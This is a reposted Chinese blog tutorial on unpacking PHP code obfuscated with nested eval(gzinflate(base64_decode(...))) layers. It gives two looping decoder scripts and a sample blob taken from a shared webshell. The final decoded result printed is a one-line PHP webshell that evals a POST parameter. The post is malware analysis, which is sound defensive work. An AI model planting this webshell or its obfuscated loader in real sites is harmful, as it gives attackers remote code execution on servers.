zoukankan      html  css  js  c++  java
  • 【转载】eval(gzinflate(base64_decode解密方法

    原文链接:eval(gzinflate(base64_decode解密方法

    今天群里一位朋友发了一个php的马子,经过了gzinflate和base64_decode加密,求解密,这种加密方法我以前也见过,只用把eval改为echo即可实现解密,但是情况并不是我想象的那么简单,输出的依然是乱码,网上找了一下终于找到了解决之道,分享给大家。

    PHP目前在网络中被用的越来越多,加密解密的话题也一直没有停息过。下面简单介绍一下base64_decode+gzinflate压缩编码和解码代码方法,就是通常我们在程序中见的eval(gzinflate(base64_decode('加密代码'))); 形式的加密方法。

    首先,针对一层加密的,我们可以直接把eval改为echo即可解密,这里我就不多解释了,今天要解密的代码如下:

    <?php
    echo(gzinflate(base64_decode('DdS3EqNWAEDRfn/Eu0NBTmOPd8hCpEcWNB7CAyRA5Pj13u42p72///3n99iMP37APet+1vf7W3XZCn/m2QIZ6r8SFkMJf/4ll96jnWxdUGSvipB2wnTz8xBSECiRrp8C1DlCud/NqVu1lcEKLGq1V+jN3hxKkTvHZ6uSVWv0zUV0hZ1f9a9xJPwBpYbrQc0Xw5YJAUra6iKodOSy5tPe7Gt7fRLuqRnu0IO7HmRrVD1fxFeK2f2O1fv5wqik6ci0XuSjF4Swsih9w1QiGhdHod7s1r9EhnivBnLsmn4xa4lbDA6WrAPtdbdEHOZswZhkFO3s0/HloCA9DY8P4+bJkXLIdchUxFHPTxKZWt+WnWmGLXhiQHN3qm0Q6VnoO3vY/ckHsWOIGlV8XMV+UaZEcKBPsZgj+S7kKISh2ZQiNnVK4zlHRIt6B3jDl1Q4+e1dy5ZqmXb73JPXtWn+17i/hvBQFlEdrFopoTeovgwy5WxlIZVZNEnYBYkG6g9OQrBgxMC7yVs6jwjMpoeCIIio/dFLm3cHTaA141F+CvRT0swD9PPbqdBl3Hyo7kclQMFmTIumUi3tyVEMWI6S7DE3Ycn148vqQGTmZJx9OU5gjQg5gjN2jZ1QDgALD40TJJQQGj9S4JXm6GlyYW3wDViCyCEpeB4wiJWX8za3/WYMePG2i03eKDCHrtUlY1qsOEje1ZNI0Vys8DHUy5iAW/yVvs+mESrbTA9BLQtsI52NNSsmEQ5J8FHadb0gFXiQsWTHoOfByWnW9zaJz/uTND4Mts76xBqIVB48F1l7rvf50Dg+XBai/DzNS40ITBXbsJxjsOjqWKN9/piDp6nOSUu+0qwz8KM4ibR1MLL6TpK4PKjNd+0IWZE/8R3myU3TJ+X3/ZiO1ewlH/p8PBoGh6C+71RfrG7Ir7kSri3QDmWGZ+v3rIjfsIqVqCfPGwZPxV6+CoRE60eY1DhE57EGl77cJtPd7aKbY44XEjjTsqZGpaYLy4VEWORuuCAcYz0TTtc8Ui7UpgaqpU7NSSi4r7wnLLHlmXA8tbSA+9CZvhz77ZWq7A37rvoMFytqNlzcb6NQnEu/wzMusfJBn68TzeTtcpGEdujKeOnrFngtW8RO7VTMIm5evd80RnEQ0+O78O+JYEMd5a9stxWXWxWJaKV6qiTPYXxFV/rdUhFGQmb+jbmHML4fHF/tLILuYKYRNEHr6q9fv379/eP3nxn9Dw==')));
    ?>

    我尝试过把eval改为echo结果发现还是类似的东西,经过查找终于发现了解决办法。

    解密方法一:

     1 <?php
     2 /**
     3  * Created BY 独自等待
     4  * Date : 13-6-25
     5  * Time : 下午2:06
     6  * FileName : decode_gzinflate.php
     7  * 欢迎访问独自等待博客www.waitalone.cn
     8  */
     9 //已经加密的文件内容
    10 $a = "eval(gzinflate(base64_decode('这里面放BASE64代码')));";
    11 function decodephp($a)
    12 {
    13     $max_level = 300; //最大层数
    14     for ($i = 0; $i < $max_level; $i++) {
    15         ob_start();
    16         eval(str_replace('eval', 'echo', $a));
    17         $a = ob_get_clean();
    18         if (strpos($a, 'eval(gzinflate(base64_decode') === false) {
    19             return $a;
    20         }
    21     }
    22 }
    23 
    24 echo decodephp($a);
    25 ?>

    解密方法二:

     1 <?php
     2 /**
     3  * Created BY 独自等待
     4  * Date : 13-6-25
     5  * Time : 下午2:27
     6  * FileName : decode_gzinflate2.php
     7  * 欢迎访问独自等待博客www.waitalone.cn
     8  */
     9 $a = file_get_contents("加密.php"); //含有eval语句的文本文件
    10 //将有eval(gzinflate(base64_decode的加密文件只留eval(gzinflate(base64_decode('...');"语句
    11 //其他诸如"<?"等信息都去掉并保存文件为"加密.php"
    12 while (strstr($a, "eval")) {
    13     ob_start();
    14     eval(str_replace("eval", "echo", $a));
    15     $a = ob_get_contents();
    16 }
    17 echo $a;
    18 ?>

    最终经过密码得到源代码如下:

    <?php eval($_POST[coo0l]);?>
  • 相关阅读:
    从小白到全栈的前端学习路径
    Vue初学者可能不知道的坑
    vue的基础使用
    15-浮动
    02-css的选择器
    深入理解JavaScript的闭包
    深入理解JavaScript的闭包,前戏— 作用域和词法作用域
    JavaScript简介
    02-HTML5新的input属性
    springboot+spring session+redis+nginx实现session共享和负载均衡
  • 原文地址:https://www.cnblogs.com/zhanglm125/p/7161550.html
Copyright © 2011-2022 走看看